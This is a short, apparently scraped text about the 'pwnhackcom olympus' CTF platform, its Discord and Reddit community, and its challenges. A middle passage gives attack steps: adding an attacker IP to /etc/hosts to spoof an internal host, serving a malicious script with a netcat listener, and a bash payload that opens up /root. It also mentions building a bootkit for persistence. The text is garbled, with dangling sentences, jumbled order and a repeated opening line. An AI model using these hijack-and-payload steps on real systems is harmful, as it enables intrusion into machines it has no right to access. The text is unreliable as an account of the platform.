The pwnhackcom olympus community is active on Discord and Reddit (r/pwnhackcom). Unlike many CTF communities, they enforce a strict "no spoilers" rule but encourage detailed methodology discussions. You can find:
Additionally, the platform awards "Laurel Wreaths" (unique badges) for: pwnhackcom olympus
Spoof DNS or modify /etc/hosts:
echo "10.10.14.15 internal.olympus" >> /etc/hosts
Serve malicious script:
nc -lnvp 80 < payload.sh
Payload:
#!/bin/bash
chmod 777 /root
echo "pwned" > /root/flag.txt
Wait 5 minutes → flag appears.
Once inside, standard privilege escalation scripts (like LinPEAS or WinPEAS) fail. The Hydra challenge involves a system that "forgets" its root state every 60 seconds. The hacker must write a persistent firmware-level implant—essentially a bootkit—to maintain access long enough to capture the flag. The pwnhackcom olympus community is active on Discord